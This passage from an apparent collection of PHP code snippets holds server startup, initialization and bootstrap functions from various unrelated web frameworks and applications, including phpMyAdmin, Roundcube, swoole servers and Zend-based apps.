connections\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// Handle any outgoing client responses\n\t\t\tforeach (MHTTPD::$clients as $i=>$client) {\n\t\t\t\tif ($client->hasRequest()) {\n\t\t\t\t\tif (!$client->isPosting() && $client->hasSentFCGI() && !$client->hasResponse()) {\n\t\t\t\t\t\tif (MHTTPD::$debug){cecho(\"Client ($i) ... waiting for FCGI response\\n\");}\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t} elseif ($client->needsAuthorization()) {\n\t\t\t\t\t\tif (MHTTPD::$debug){cecho(\"Client ($i) ... waiting for authorization\\n\");}\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t} elseif ($client->hasResponse()) {\n\t\t\t\t\t\tif (MHTTPD::$debug) {cecho(\"Client ($i) ... handling response\\n\");}\n\t\t\t\t\t\tMHTTPD::handleResponse($client);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\t// Handle any aborted FCGI requests\n\t\t\tforeach ($read as $r) {\n\t\t\t\tforeach (MHTTPD::$aborted as $aID=>$ab) {\n\t\t\t\t\tif ($r == $ab['socket']) {\n\t\t\t\t\t\tMFCGI::removeClient($ab['process']);\n\t\t\t\t\t\tMHTTPD::closeSocket($r);\n\t\t\t\t\t\tunset(MHTTPD::$aborted[$aID]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// End of main loop\n\t\t\tif (MHTTPD::$debug) {cecho(\"\\n\");}\n\t\t}\n\t\t\n\t\t// Quit the server cleanly\n\t\tMHTTPD::shutdown();\n\t}", "public function setup() {\n $this->socket = socket_create(AF_INET, SOCK_STREAM, 0);\n if (!socket_bind($this->socket, $this->ip, $this->port)) {\n $errno = socket_last_error();\n $this->error(sprintf('Could not bind to address %s:%s [%s] %s', $this->ip, $this->port, $errno, socket_strerror($errno)));\n throw new Exception('Could not start server.');\n }\n\n socket_listen($this->socket);\n $this->daemon->on(Daemon::ON_POSTEXECUTE, array($this, 'run'));\n }", "public function start()\n {\n Session::start();\n\n Environment::start();\n \n Database::start($withDatabase = true);\n \n Router::start();\n }", "private function init()\n {\n $this->registerSignalHandlers();\n $this->checkUndefinedQueues();\n\n $this->consumerProcesses = $this->createConfiguredConsumers();\n\n $defaultConsumer = $this->createDefaultConsumer();\n if (isset($defaultConsumer)) {\n $this->consumerProcesses[] = $defaultConsumer;\n }\n\n if (empty($this->consumerProcesses)) {\n die('Supervisor has nothing to do');\n }\n\n }", "protected function startUp()\n {\n if (file_exists(APPDIR . '/Config/Bootstrap.php')) {\n try {\n include_once APPDIR . '/Config/Bootstrap.php';\n } catch (Exception $exc) {\n throw new Exception($exc->getMessage() . PHP_EOL . $exc->getTraceAsString());\n }\n }\n $config = new Config\\ParseConfig();\n $this->config = $config->getConfigData();\n System::getInstance()->configuration($this->config);\n $this->viewConfigData = new View\\ConfigData();\n\n $this->setController($this->getRequest()->getControllerName())\n ->setAction($this->getRequest()->getAction())\n ->prepareDatabase();\n $this->viewConfigData->addJavascriptFilesFromConfig();\n $this->viewConfigData->addCssFilesFromConfig();\n $this->viewConfigData->addExternalDataToView();\n }", "function start_dev_server(): void\n{\n if (optional(this()->server)->isRunning()) {\n return;\n }\n\n this()->server = new Process([\n 'php',\n '-S',\n 'localhost:3000',\n $directory = __DIR__ . '/Server',\n $directory . '/index.php',\n ]);\n\n this()->server->start();\n this()->server->waitUntil(fn ($_, $output) => str_contains($output, 'started'));\n}", "private function startServer() {\n\t\t$serverLog = PHPUNIT_TEMP_DIR . '/socketServer.log';\n\t\t$descriptorspec = array(\n\t\t\t0 => array(\"pipe\", \"r\"), // stdin\n\t\t\t1 => array(\"file\", $serverLog, \"a\"),// stdout\n\t\t\t2 => array(\"file\", $serverLog, \"a\") // stderr\n\t\t);\n\n\t\t$cmd = \"php \" . dirname(__FILE__) . '/socketServer.php';\n\t\t$this->server = proc_open($cmd, $descriptorspec, $this->pipes);\n\t\tif ($this->server === false) {\n\t\t\tthrow new Exception(\"Failed starting the socket server process.\");\n\t\t}\n\t\t\n\t\t// Sleep a bit to allow server to start\n\t\tusleep(200000);\n\t\t\n\t\t// Verify the server is running\n\t\t$status = proc_get_status($this->server);\n\t\tif (!$status['running']) {\n\t\t\tthrow new Exception(\"Socket server process failed to start. Check the log at [$serverLog].\");\n\t\t}\n\t}", "public function startup(): void\n {\n $this->handleOnBootListeners();\n $this->initialize();\n $this->handleOnRunListeners();\n }", "public function startup(): void\n {\n $this->handleOnBootListeners();\n $this->initialize();\n $this->handleOnRunListeners();\n }", "public static function start()\n\t{\n\t\tspl_autoload_register('Autoloader::init', true, true);\n\t}", "public static function initialize()\n {\n if (static::$isConfigurationLoaded === true) {\n return;\n }\n \n foreach (static::$handlers as $handler) {\n EventManager::getInstance()->addEventHandler($handler[0], $handler[1], $handler[2], $handler[3]);\n }\n\n static::$isConfigurationLoaded = true;\n }", "public function run()\n {\n $serv = new \\swoole_server($this->host, $this->port);\n $serv->set(\n array(\n 'process_name' => 'ershoufang_crawler', //swoole 进程名称\n 'worker_num' => 2,//开启的worker进程数\n 'task_worker_num' => 2,//开启的task进程数\n 'open_cpu_affinity' => true,\n 'daemonize' => false,\n 'max_request' => 10000,\n 'dispatch_mode' => 2,\n 'debug_mode' => 0,\n 'log_file' => 'swoole.log',\n 'open_tcp_nodelay' => true,\n \"task_ipc_mode\" => 2,\n 'task_max_request' => 10000\n )\n );\n\n $serv->on('Start', array($this, 'onStart'));\n $serv->on('Connect', array($this, 'onConnect'));\n $serv->on('Receive', array($this, 'onReceive'));\n $serv->on('WorkerStart', array($this, 'onWorkerStart'));\n $serv->on('Task', array($this, 'onTask'));\n $serv->on('Finish', array($this, 'onFinish'));\n $serv->on('Close', array($this, 'onClose'));\n $serv->start();\n }", "protected function setupServers()\n\t{\n\t\t// Create a server definition\n\t\t$testFolder = realpath(__DIR__ . '/../../../test');\n\t\t$port = 8094;\n\t\t$server = new Server($testFolder . '/browser/docroot', 'http://127.0.0.1:' . $port);\n\n\t\t// Device to ensure the two clashing server classes use different PID files\n\t\t$suffix = $this->getSuffix();\n\t\t$server->setServerPidPath(\"/tmp/spiderling-phantom-{$port}-{$suffix}.server.pid\");\n\n\t\t// Delete any existing error notifications\n\t\t@unlink($this->getErrorPathName());\n\n\t\t// Add the server to the list of servers to start\n\t\t$this->addServer($server);\n\t}", "public function run(): void\n {\n // missing routing\n // missing proper controller/model system\n // missing middleware framework\n // hacks incoming :)\n\n self::$config['httpMethod'] = $_SERVER['REQUEST_METHOD'];\n self::$config['uri'] = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);\n\n echo $this->handleRequest(self::$config['uri'] === '/' ? '/site/index' : self::$config['uri']);\n }", "protected function startup()\n {\n $this->init(self::INIT_WITH_DB | self::INIT_WITH_PLUGINS);\n\n // start session\n $this->session_init();\n\n // create user object\n $this->set_user(new rcube_user($_SESSION['user_id']));\n\n // configure session (after user config merge!)\n $this->session_configure();\n\n // set task and action properties\n $this->set_task(rcube_ui::get_input_value('_task', rcube_ui::INPUT_GPC));\n $this->action = asciiwords(rcube_ui::get_input_value('_action', rcube_ui::INPUT_GPC));\n\n // reset some session parameters when changing task\n if ($this->task != 'utils') {\n if ($this->session && $_SESSION['task'] != $this->task)\n $this->session->remove('page');\n // set current task to session\n $_SESSION['task'] = $this->task;\n }\n\n // init output class\n if (!empty($_REQUEST['_remote']))\n $GLOBALS['OUTPUT'] = $this->json_init();\n else\n $GLOBALS['OUTPUT'] = $this->load_gui(!empty($_REQUEST['_framed']));\n\n // load plugins\n $this->plugins->init($this, $this->task);\n $this->plugins->load_plugins((array)$this->config->get('plugins', array()), array('filesystem_attachments', 'jqueryui'));\n }", "function init ($server, $query, $data, $files, $data_stream, $cookie, $request_started) {\n\t\t++static::$id;\n\t\t$this->init_server($server);\n\t\t$this->init_query($query);\n\t\t$this->init_data_and_files($data, $files, $data_stream);\n\t\t$this->init_cookie($cookie);\n\t\t$this->init_route();\n\t\t$this->started = $request_started;\n\t}", "public function serversInit()\n\t{\n\t\t$api_root=$this->getPath();\n\t\t$p=opendir($api_root);\n\t\twhile(false!==($d=readdir($p)))\n\t\t{\n\t\t\tif($d!='.' && $d!='..' && is_dir($api_root.'/'.$d))\n\t\t\t{\n\t\t\t\tif(file_exists($api_root.'/'.$d.'/init.php') && file_exists($api_root.'/'.$d.'/config.xml'))\n\t\t\t\t{\n\t\t\t\t\t$settings=@simplexml_load_file($api_root.'/'.$d.'/config.xml');\n\t\t\t\t\tif(!$settings){\n\t\t\t\t\t\t$this->setError('Not inited: '.$d.'; wrong config file.');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}else{\n\t\t\t\t\t\t#die_r($settings->api->name);\n\t\t\t\t\t\t$this->registerEngine((String)$settings->api->name,$settings->api->protocols);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public static function init() {\n set_error_handler(array(\"app\\core\\ErrorHandler\", \"handleError\"));\n set_exception_handler(array(\"app\\core\\ErrorHandler\", \"handleException\"));\n }", "protected function setupServer()\n {\n $serverVars = $this->router->getServerVarsForUri();\n $_SERVER = array_merge($_SERVER, $serverVars);\n }", "public function __construct()\n {\n // Store the instance statically\n static::$instance = $this;\n\n // Load the app's config\n $this->loadConfig();\n\n // Register the error handler\n $this->registerErrorHandler();\n\n // Create our request and response objects\n $this->request = new Request;\n $this->response = new Response;\n\n // Bootstrap the database\n Database::bootstrap($this->config->db->toArray());\n\n // Convert relative store paths to absolute, and bootstrap the cache\n foreach ($this->config->cache as $instance => $config) {\n $cacheStorePath = $config->store_path;\n if ($cacheStorePath !== null) {\n if (!is_dir($cacheStorePath) && is_dir(APP_ROOT.$cacheStorePath)) {\n $this->config->cache->{$instance}->store_path = APP_ROOT.$cacheStorePath;\n }\n }\n }\n Cache::bootstrap($this->config->cache->toArray());\n\n // Convert relative store paths to absolute, and bootstrap the session\n $sessionStorePath = $this->config->session->store_path;\n if ($sessionStorePath !== null) {\n if (!is_dir($sessionStorePath) && is_dir(APP_ROOT.$sessionStorePath)) {\n $this->config->session->store_path = APP_ROOT.$sessionStorePath;\n }\n }\n Session::bootstrap($this->config->session);\n\n // Include the app routes\n require APP_ROOT.'routes.php';\n\n // Register global view variables\n View::addGlobal('appName', $this->config->app->name);\n View::addGlobal('app', $this);\n View::addGlobal('input', $this->request->input);\n\n $this->compileAssets();\n\n // Execute routes\n Router::execute();\n\n if (PHP_SAPI !== 'cli') {\n $this->checkRoute();\n }\n }", "public static function run(): void\n {\n global $containerBuilder, $errorHandler, $config, $server, $dbi, $request;\n global $lang, $cfg, $isConfigLoading, $auth_plugin, $route, $theme;\n global $urlParams, $isMinimumCommon, $sql_query, $token_mismatch;\n\n $request = ServerRequestFactory::createFromGlobals();\n\n $route = Routing::getCurrentRoute();\n\n if ($route === '/import-status') {\n $isMinimumCommon = true;\n }\n\n $containerBuilder = Core::getContainerBuilder();\n\n /** @var ErrorHandler $errorHandler */\n $errorHandler = $containerBuilder->get('error_handler');\n\n self::checkRequiredPhpExtensions();\n self::configurePhpSettings();\n self::cleanupPathInfo();\n\n /* parsing configuration file LABEL_parsing_config_file */\n\n /** @var bool $isConfigLoading Indication for the error handler */\n $isConfigLoading = false;\n\n register_shutdown_function([Config::class, 'fatalErrorHandler']);\n\n /**\n * Force reading of config file, because we removed sensitive values\n * in the previous iteration.\n *\n * @var Config $config\n */\n $config = $containerBuilder->get('config');\n\n /**\n * include session handling after the globals, to prevent overwriting\n */\n if (! defined('PMA_NO_SESSION')) {\n Session::setUp($config, $errorHandler);\n }\n\n $request = Core::populateRequestWithEncryptedQueryParams($request);\n\n /**\n * init some variables LABEL_variables_init\n */\n\n /**\n * holds parameters to be passed to next page\n *\n * @global array $urlParams\n */\n $urlParams = [];\n $containerBuilder->setParameter('url_params', $urlParams);\n\n self::setGotoAndBackGlobals($containerBuilder, $config);\n self::checkTokenRequestParam();\n self::setDatabaseAndTableFromRequest($containerBuilder, $request);\n\n /**\n * SQL query to be executed\n *\n * @global string $sql_query\n */\n $sql_query = '';\n if ($request->isPost()) {\n $sql_query = $request->getParsedBodyParam('sql_query', '');\n }\n\n $containerBuilder->setParameter('sql_query', $sql_query);\n\n //$_REQUEST['set_theme'] // checked later in this file LABEL_theme_setup\n //$_REQUEST['server']; // checked later in this file\n //$_REQUEST['lang']; // checked by LABEL_loading_language_file\n\n /* loading language file LABEL_loading_language_file */\n\n /**\n * lang detection is done here\n */\n $language = LanguageManager::getInstance()->selectLanguage();\n $language->activate();\n\n /**\n * check for errors occurred while loading configuration\n * this check is done here after loading language files to present errors in locale\n */\n $config->checkPermissions();\n $config->checkErrors();\n\n self::checkServerConfiguration();\n self::checkRequest();\n\n /* setup servers LABEL_setup_servers */\n\n $config->checkServers();\n\n /**\n * current server\n *\n * @global integer $server\n */\n $server = $config->selectServer();\n $urlParams['server'] = $server;\n $containerBuilder->setParameter('server', $server);\n $containerBuilder->setParameter('url_params', $urlParams);\n\n $cfg = $config->settings;\n\n /* setup themes LABEL_theme_setup */\n\n $theme = ThemeManager::initializeTheme();\n\n /** @var DatabaseInterface $dbi */\n $dbi = null;\n\n if (isset($isMinimumCommon)) {\n $config->loadUserPreferences();\n $containerBuilder->set('theme_manager', ThemeManager::getInstance());\n Tracker::enable();\n\n return;\n }\n\n /**\n * save some settings in cookies\n *\n * @todo should be done in PhpMyAdmin\\Config\n */\n $config->setCookie('pma_lang', (string) $lang);\n\n ThemeManager::getInstance()->setThemeCookie();\n\n $dbi = DatabaseInterface::load();\n $containerBuilder->set(DatabaseInterface::class, $dbi);\n $containerBuilder->setAlias('dbi', DatabaseInterface::class);\n\n if (! empty($cfg['Server'])) {\n $config->getLoginCookieValidityFromCache($server);\n\n $auth_plugin = Plugins::getAuthPlugin();\n $auth_plugin->authenticate();\n\n /* Enable LOAD DATA LOCAL INFILE for LDI plugin */\n if ($route === '/import' && ($_POST['format'] ?? '') === 'ldi') {\n // Switch this before the DB connection is done\n // phpcs:disable PSR1.Files.SideEffects\n define('PMA_ENABLE_LDI', 1);\n // phpcs:enable\n }\n\n self::connectToDatabaseServer($dbi, $auth_plugin);\n\n $auth_plugin->rememberCredentials();\n\n $auth_plugin->checkTwoFactor();\n\n /* Log success */\n Logging::logUser($cfg['Server']['user']);\n\n if ($dbi->getVersion() < $cfg['MysqlMinVersion']['internal']) {\n Core::fatalError(\n __('You should upgrade to %s %s or later.'),\n [\n 'MySQL',\n $cfg['MysqlMinVersion']['human'],\n ]\n );\n }\n\n // Sets the default delimiter (if specified).\n $sqlDelimiter = $request->getParam('sql_delimiter', '');\n if (strlen($sqlDelimiter) > 0) {\n // phpcs:ignore Squiz.NamingConventions.ValidVariableName.MemberNotCamelCaps\n Lexer::$DEFAULT_DELIMITER = $sqlDelimiter;\n }\n\n // TODO: Set SQL modes too.\n } else { // end server connecting\n $response = ResponseRenderer::getInstance();\n $response->getHeader()->disableMenuAndConsole();\n $response->getFooter()->setMinimal();\n }\n\n $response = ResponseRenderer::getInstance();\n\n /**\n * There is no point in even attempting to process\n * an ajax request if there is a token mismatch\n */\n if ($response->isAjax() && $request->isPost() && $token_mismatch) {\n $response->setRequestStatus(false);\n $response->addJSON(\n 'message',\n Message::error(__('Error: Token mismatch'))\n );\n exit;\n }\n\n Profiling::check($dbi, $response);\n\n $containerBuilder->set('response', ResponseRenderer::getInstance());\n\n // load user preferences\n $config->loadUserPreferences();\n\n $containerBuilder->set('theme_manager', ThemeManager::getInstance());\n\n /* Tell tracker that it can actually work */\n Tracker::enable();\n\n if (empty($server) || ! isset($cfg['ZeroConf']) || $cfg['ZeroConf'] !== true) {\n return;\n }\n\n /** @var Relation $relation */\n $relation = $containerBuilder->get('relation');\n $dbi->postConnectControl($relation);\n }", "public function __construct()\n {\n // initialize the default configuration\n $this->initDefaultDirectories();\n $this->initDefaultLoggers();\n $this->initDefaultScanners();\n $this->initDefaultExtractors();\n $this->initDefaultProvisioners();\n $this->initDefaultInitialContext();\n }", "public function initialize()\n {\n // Ensure that session cookies are not available to JavaScript\n ini_set(\"session.cookie_httponly\", 1);\n // Set the include path\n set_include_path(\n self::$_base_path . DIRECTORY_SEPARATOR . 'library'\n . PATH_SEPARATOR\n . self::$_base_path. DIRECTORY_SEPARATOR . \"app\"\n . PATH_SEPARATOR\n . get_include_path()\n );\n\n require_once \"Zend/Loader/Autoloader.php\";\n $autoloader = Zend_Loader_Autoloader::getInstance();\n $autoloader->setFallbackAutoloader(true);\n\n $locale = new Zend_Locale();\n Zend_Registry::set('Zend_Locale', $locale);\n\n /*\n * Create an instance of the frontcontroller\n */\n $frontController = Zend_Controller_Front::getInstance();\n if (file_exists(self::$_data_path . '/etc/config.ini')) {\n /*\n * Load the given stage from our configuration file,\n * and store it into the registry for later usage.\n */\n $config = new Zend_Config_Ini(self::$_data_path . '/etc/config.ini');\n Zend_Registry::set('config', $config);\n\n $frontController->throwExceptions((bool) $config->mvc->exceptions);\n\n if (PHP_SAPI != \"cli\") {\n self::$_environment = $config->mode;\n $frontController->registerPlugin(new Zoo_Plugin_Boot_Http(), 1);\n }\n else {\n $frontController->throwExceptions(true);\n self::$_environment = \"cli\";\n $frontController->registerPlugin(new Zoo_Plugin_Boot_Cli(), 1);\n\n Zend_Registry::set(\"Zend_Locale\", new Zend_Locale(\"en_US\"));\n $frontController->setResponse(new Zend_Controller_Response_Cli());\n }\n\n // Add plugins from plugins.ini\n if (file_exists(self::$_data_path . '/etc/plugins.ini')) {\n $pluginconfig = new Zend_Config_Ini(self::$_data_path . '/etc/plugins.ini', self::$_environment);\n foreach ($pluginconfig->plugins as $name => $plugin) {\n $pluginClass = $plugin->class;\n $frontController->registerPlugin(new $pluginClass(), $plugin->priority);\n }\n }\n if ($config->module->default) {\n $frontController->setDefaultModule($config->module->default);\n }\n else {\n $frontController->setDefaultModule('zoo');\n }\n }\n else {\n /**\n * System not installed, go to staging mode, add the default module\n * and register the Http boot plugin\n */\n self::$_environment = \"staging\";\n $frontController->addControllerDirectory(self::$_base_path . \"/app/Zoo/Controllers\", \"Zoo\");\n $frontController->registerPlugin(new Zoo_Plugin_Boot_Http(), 1);\n $frontController->setDefaultModule('Zoo');\n }\n return $frontController;\n }", "public function initRequestHandlers()\n {\n\n // initialize the storage for the request handlers\n $this->requestHandlers = new GenericStackable();\n\n // iterate over the applications and initialize a pool of request handlers for each\n foreach ($this->applications as $application) {\n // initialize the pool\n $pool = new GenericStackable();\n\n // initialize 10 request handlers per for each application\n for ($i = 0; $i < 10; $i++) {\n // create a mutex\n $mutex = \\Mutex::create();\n\n // initialize the request handler\n $requestHandler = new RequestHandler();\n $requestHandler->injectMutex($mutex);\n $requestHandler->injectValves($this->valves);\n $requestHandler->injectApplication($application);\n $requestHandler->start();\n\n // add it to the pool\n $pool[] = $requestHandler;\n }\n\n // add the pool to the pool of request handlers\n $this->requestHandlers[$application->getName()] = $pool;\n }\n }", "public function start()\n {\n $this->server->on(\"open\", [$this, 'wsOpen']);\n $this->server->on(\"message\", [$this, 'wsMessage']);\n $this->server->on(\"close\", [$this, 'wsClose']);\n\n $this->server->start();\n }", "public static function init() {\n\t\t\tself::initErrorHandler();\n\t\t\tself::loadAppConfig();\n\t\t\tself::initDatabase();\n\t\t\tHttpCore::initSession();\n\t\t\tAuth::init();\n\t\t\tself::$baseUrl = HttpCore::getBaseUrl();\n\t\t\tself::loadRoutes();\n\t\t\tself::loadWidgets();\n\t\t}", "public function run() {\n\n if(!$this->server) {\n\n try {\n\n // initialize socket server\n $this->server = new AppServer($this->config->socket->host, $this->config->socket->port);\n\n // create application with dependencies\n $app = new Sonar(\n new StorageService($this->config->storage),\n new QueueService($this->config->beanstalk),\n new GeoService(),\n new CacheService()\n );\n $this->server->route('/sonar', $app, ['*']);\n }\n catch(QueueServiceException $e) {\n throw new AppServiceException($e->getMessage());\n }\n catch(ConnectionException $e) {\n throw new SocketServiceException($e->getMessage());\n }\n catch(StorageServiceException $e) {\n throw new AppServiceException($e->getMessage());\n }\n catch(CacheServiceException $e) {\n throw new AppServiceException($e->getMessage());\n }\n\n }\n\n if(isset($this->config->storage) === false) {\n throw new AppServiceException('There is no option `storage` in your configurations');\n }\n\n $this->server->run();\n }", "protected function setUp(): void\n {\n $this->server['SERVER_PROTOCOL'] = '1.1';\n $this->server['HTTP_ACCEPT'] = 'application/json';\n $this->server['REQUEST_METHOD'] = 'POST';\n $this->server['REQUEST_URI'] = '';\n $this->server['QUERY_STRING'] = '';\n $this->server['HTTP_HOST'] = 'subdomain.example.com';\n $this->server['HTTPS'] = 'Off';\n $this->server['SERVER_PORT'] = '';\n $this->server['PHP_AUTH_USER'] = '';\n $this->server['PHP_AUTH_PW'] = '';\n $this->server['PHP_SELF'] = '/index.php/index/var';\n $this->server['SCRIPT_NAME'] = '/index.php';\n $this->server['REMOTE_ADDR'] = '192.168.56.1';\n $this->server['PATH'] = '';\n $this->server['argv'] = array();\n $this->server['argc'] = 0;\n }", "public static function run() {\n if(self::$_init) {\n $route = static::requestRoute();\n if($route && $controller = static::createController($route['controller'])) {\n /** session started */\n App::sessionStart();\n /** running application */\n try {\n /* @var Controller $controller */\n $controller->run($route['action']);\n } catch (\\Exception $e) {\n static::error500('', \"Exception: [{$e->getMessage()}] in {$e->getFile()} at #{$e->getLine()}.\");\n }\n /** on success */\n static::end();\n } else {\n static::error404('Requested invalid resource.');\n }\n } else {\n static::error500('Application was not set up.');\n }\n }", "public function start () {\n $this->cache = new Memcache;\n $this->cache->addServer($this->server, $this->port);\n }", "protected function _start_listening(){\r\n\t\t\tset_error_handler(array($this->_reporter, 'handle_error'));\r\n\t\t\tset_exception_handler(array($this->_reporter, 'handle_exception'));\r\n\t\t\terror_reporting(-1);\r\n\t\t\tini_set('display_errors', false);\r\n\t\t}", "public static function run()\n\t{\n\t\tself::initialize(__class__);\n\t\t# Add post-init hooks here\n\t}", "public static function _init() \n\t{\t\n\t\t// create new instance from default input\n\t\tCCServer::$_instance = CCIn::create( $_GET, $_POST, $_COOKIE, $_FILES, $_SERVER );\n\t\t\n\t\t// unset default http holder to safe mem\n\t\t//unset( $_GET, $_POST, $_COOKIE, $_SERVER, $_FILES );\n\t}", "public function __construct()\n {\n Socket::$isServer = true;\n self::$server = new sockbase();\n self::$server->onmsg(__NAMESPACE__ . '\\SqlPool::inmsg');\n self::$server->dismsg(__NAMESPACE__ . '\\SqlPool::dis');\n $poolconf = ng169\\lib\\Option::get('pool');\n self::$pwd = $poolconf['pwd'];\n\n self::$server->start($poolconf['ip'], $poolconf['port']);\n\n // self::$server->start(\"127.0.0.1\", \"4563\");\n }", "public function dispatchLoopStartup()\n {\n //...\n }", "public static function init()\n {\n self::$browsers = new Browser_Manager();\n self::$users = new User_Manager();\n self::$routes = new Routing_Manager();\n self::$pages = new Page_Manager();\n self::$themes = new Theme_Manager();\n self::$debug = new Debug_Manager();\n\n // disable debugging if we are unit testing\n if (defined('UNIT_TEST') && UNIT_TEST)\n {\n self::$debug->setEnabled(false);\n }\n\n\t\t// with the general environment loaded, we can now load\n\t\t// the modules that are app-specific\n self::$request = new App_Request();\n self::$response = new App_Response();\n self::$conditions = new App_Conditions();\n }", "public function initialize() {\n parent::initialize();\n $this->loadComponent('RequestHandler');\n }", "public function setupServers()\n\t{\n\t\t$browserTestsRoot = realpath(__DIR__ . '/../../..') . '/browser';\n\t\t$server = new \\halfer\\SpiderlingUtils\\Server($browserTestsRoot . '/docroot');\n\n\t\t// Re-use the Spiderling routing script (it contains the check-alive response)\n\t\t$server->setRouterScriptPath($browserTestsRoot . '/scripts/router.php');\n\t\t$server->setCheckAliveUri('/server-check');\n\n\t\t$this->addServer($server);\n\t}", "function initFramework()\r\n{\r\n\t$config = parse_ini_file('./config.ini',true);\r\n\t\r\n\tdate_default_timezone_set('America/New_York');\r\n\t\r\n\t/* Error reporting is set to show all except notices */\r\n\terror_reporting(E_ALL ^ E_NOTICE);\r\n\t\r\n\t// define site name\r\n\tdefine(\"PF_SITE_NAME\", $config['siteName']);\r\n\t\r\n\t/*\r\n\t* Turn on error reporting for testing purposes. However, make sure this is off \r\n\t* when the site is live as it could possibly be a security issue.\r\n\t*/\r\n\tini_set('display_errors', $config['debugMode']);\r\n\t\r\n\t// Define some paths\r\n\tdefine(\"PF_ROOT_PATH\", $config['paths']['rootDir']);\r\n\tdefine(\"PF_ROOT_URL\", $config['paths']['url']);\r\n}", "public static function main()\n {\n self::initConfig(); \n \n /* Configuracion de manejo de error y Locale */\n self::initEnvironmet();\n \n /* Inicializa Layout */\n self::initLayout();\n \n /* Base de Datos*/\n self::initDataBase();\n \n /*Lenjuaje*/\n self::initLanguaje();\n \n /* Front Controller y Dispatch */\n /*Agregar cualquier otra función antes de esta*/\n self::initFrontController();\n \n \n }", "public function run()\n {\n $this->router->listen();\n }", "public function run()\n {\n $routes = new Routes($this->router);\n $routes->start();\n $this->router->start();\n }", "static function Init()\n {\n Phoenix::$phoenix_dir = dirname(__FILE__);\n Phoenix::$app_dir = Phoenix::$phoenix_dir . '/../App';\n Phoenix::$debug = false;\n Phoenix::$_dblog = new MemoryLogger();\n Database::AddLogger(Phoenix::$_dblog);\n }", "public function __construct() {\n // Autoload Dependencies & Helpers\n spl_autoload_register([$this, 'loadBones']);\n // Load in Core Components\n foreach (glob(SKELETON_PATH . 'core/*.php') as $file) {\n list($filePath, $className) = [$file, 'Skeleton_' . basename($file, EXT)];\n if(file_exists($filePath)) {\n include $filePath;\n $this->{strtolower(basename($filePath, EXT))} = new $className($this);\n $this->coreComponents[] = strtolower(basename($filePath, EXT));\n }\n }\n // Core Components Loaded!\n foreach($this->coreComponents as $component) {\n if(method_exists($this->{$component}, '_onLoadFinish')) {\n $this->{$component}->_onLoadFinish();\n }\n }\n // Set environment\n $this->environment = ENVIRONMENT;\n if(!$this->environment) {\n exit(JSON::out('error', 'No environment set!'));\n }\n // Preload stuff is over\n $this->router->setPreloadFlag(false);\n // Run App\n try {\n $skeleton = $this;\n include $this->router->go();\n // the end\n die();\n } catch(NoRouteFoundException $e) {\n JSON::out(array(\n 'status' => 'error', \n 'message' => $e->getMessage()\n ));\n } catch(Exception $e) {\n JSON::out(array(\n 'status' => 'error', \n 'message' => $e->getMessage()\n ));\n }\n }", "public static function init()\n {\n if (is_readable(__DIR__ . '/config/test.config.php')) {\n $testConfig = include __DIR__ . '/config/test.config.php';\n } else {\n $testConfig = include __DIR__ . '/config/test.config.php.dist';\n }\n \n $zf2ModulePaths = array();\n \n if (isset($testConfig['module_listener_options']['module_paths'])) {\n $modulePaths = $testConfig['module_listener_options']['module_paths'];\n foreach ($modulePaths as $modulePath) {\n if (($path = static::findParentPath($modulePath)) ) {\n $zf2ModulePaths[] = $path;\n }\n }\n }\n \n $zf2ModulePaths = implode(PATH_SEPARATOR, $zf2ModulePaths) . PATH_SEPARATOR;\n $zf2ModulePaths .= getenv('ZF2_MODULES_TEST_PATHS') ?: (defined('ZF2_MODULES_TEST_PATHS') ? ZF2_MODULES_TEST_PATHS : '');\n \n static::initAutoloader();\n \n // use ModuleManager to load this module and it's dependencies\n $baseConfig = array(\n 'module_listener_options' => array(\n 'module_paths' => explode(PATH_SEPARATOR, $zf2ModulePaths),\n ),\n );\n \n $config = ArrayUtils::merge($baseConfig, $testConfig);\n $serviceManager = new ServiceManager(new ServiceManagerConfig());\n $serviceManager->setService('ApplicationConfig', $config);\n $serviceManager->get('ModuleManager')->loadModules();\n \n static::$serviceManager = $serviceManager;\n static::$config = $config;\n }", "private function setupDispatcher()\n {\n $callback = function (\\FastRoute\\RouteCollector $r) {\n foreach ($this->routes as $route) {\n $r->addRoute($route[0], $route[1], $route[2]);\n }\n };\n\n $this->dispatcher = \\FastRoute\\simpleDispatcher($callback);\n }", "public function start() {\n\t\t$this->invoke(\"start\");\n\t}", "public function __construct(StandaloneServer\\Config $config, LoggerInterface $logger = null)\n {\n $this->config = $config;\n\n $curl_available = function_exists('curl_version');\n\n $this->portTester = new PortTester([\n 'backend' => $curl_available ? PortTester::BACKEND_CURL : PortTester::BACKEND_STREAM_SOCKET,\n // Close timout ms could be adjusted for your system\n // It prevent that port availability testing does\n // not close quickly enough to allow standalone server binding\n 'close_timeout_ms' => $curl_available ? null : 300\n ]);\n if ($logger === null) {\n $logger = new NullLogger();\n }\n $this->logger = $logger;\n\n $this->process = new Process();\n }", "public function createServer($config = array()) {\n $this->server = new LimelightServer($config);\n }", "static public function Boot() {\n\t\t// Get the time of the start of page parsing\n\t\t// Required for Debug reasons\n\t\t// Replaced by xdebug functions\n\t\t// self::$debug_time = microtime( true );\n\t\t// Setting up the error handler - first thing to do\n\t\tset_error_handler(array('Page', 'errorHandler'));\n\n\t\tself::CheckCorrectHost();\n\t\tself::$request_headers = apache_request_headers();\n\t\tself::DetectLanguage();\n\t\tself::DetectBrowser();\n\t\tmb_internal_encoding('UTF-8');\n\t\tif (self::isGerman()) {\n\t\t\tsetlocale(LC_ALL, 'de_DE.UTF-8');\n\t\t}else {\n\t\t\tsetlocale(LC_ALL, 'en_US.UTF-8');\n\t\t}\n\n\t\tIllaUser::init();\n\n\t\tif ((defined('NO_DEBUG') || !IllaUser::auth('errors')) && !isset($_GET['FORCE_ERROR_OUTPUT'])) {\n\t\t\tif (function_exists('xdebug_disable')) {\n\t\t\t\txdebug_disable();\n\t\t\t}\n\t\t} else {\n\t\t\tini_set('xdebug.collect_params', '4');\n\t\t\tini_set('xdebug.collect_vars', 'on');\n\t\t\tini_set('xdebug.collect_params', '4');\n\t\t\tini_set('xdebug.dump_globals', 